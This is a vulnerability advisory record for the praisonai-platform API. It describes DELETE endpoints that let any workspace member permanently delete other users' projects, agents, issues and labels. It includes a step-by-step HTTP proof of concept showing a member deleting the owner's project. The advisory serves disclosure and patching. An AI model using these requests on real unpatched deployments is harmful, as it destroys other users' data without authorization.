{"id":"PYSEC-2026-3526","summary":"PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API","details":"### Summary\nA workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.\n\n### Details\nThe [published role capability matrix](https://docs.praison.ai/docs/features/platform/members) explicitly restricts members from modifying others' content:\n\n| Capability | Owner | Admin | Member |\n|---|---|---|---|\n| Create issues/tasks | ✅ | ✅ | ✅ |\n| Edit own content | ✅ | ✅ | ✅ |\n| Edit others' content | ✅ | ✅ | ❌ |\n\nThe DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an `owner`/`admin` role. The result is that the `member` role has unrestricted DELETE access over all workspace content regardless of who created it.\n\n**Confirmed vulnerable endpoints:**\n\n| Endpoint | Expected | Actual |\n|---|---|---|\n| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |\n| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |\n\nThe missing check is isolated to content resource DELETEs.\n\n\n### PoC\n**Requirements:** Two accounts — owner (resource creator) and member (attacker).\n\n**1. Register both accounts**\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"owner@example.com\", \"password\": \"Password1!\", \"name\": \"owner\"}\n```\n\n```http\nPOST /api/v1/auth/register\nContent-Type: application/json\n\n{\"email\": \"member@example.com\", \"password\": \"Password1!\", \"name\": \"member\"}\n```\n\n**2. Owner creates workspace, adds member with `member` role**\n\n```http\nPOST /api/v1/workspaces/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"name\": \"Test Workspace\"}\n```\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/members\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"user_id\": \"\u003cmember_user_id\u003e\", \"role\": \"member\"}\n```\n\n**3. Owner creates a project**\n\n```http\nPOST /api/v1/workspaces/{workspace_id}/projects/\nAuthorization: Bearer \u003cowner_token\u003e\nContent-Type: application/json\n\n{\"title\": \"Owner's Project\"}\n```\n\nResponse `201 Created`:\n```json\n{\"id\": \"29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\", \"title\": \"Owner's Project\", ...}\n```\n\n**4. Member deletes the owner's project**\n\n```http\nDELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cmember_token\u003e\n```\n\nResponse: **`204 No Content`**\n\n**5. Owner confirms the project is permanently gone**\n\n```http\nGET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6\nAuthorization: Bearer \u003cowner_token\u003e\n```\n\nResponse: **`404 Not Found`**\n```json\n{\"detail\": \"Project not found\"}\n```\n\nThe same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).\n\n\n---\n\n### Impact\n\nThis is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.\n\n**Who is impacted:** Workspace owners and members who share a workspace with untrusted or compromised member accounts.","aliases":["CVE-2026-57121","GHSA-rh39-9c67-59mh"],"modified":"2026-07-23T15:00:10.859484030Z","published":"2026-07-23T11:41:42.244435Z","references":[{"type":"WEB","url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh"},{"type":"PACKAGE","url":"https://github.com/MervinPraison/PraisonAI"},{"type":"PACKAGE","url":"https://pypi.org/project/praisonai-platform"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-rh39-9c67-59mh"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57121"}],"affected":[{"package":{"name":"praisonai-platform","ecosystem":"PyPI","purl":"pkg:pypi/praisonai-platform"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.1.4"},{"fixed":"0.1.6"}]}],"versions":["0.1.4"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/praisonai-platform/PYSEC-2026-3526.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}]}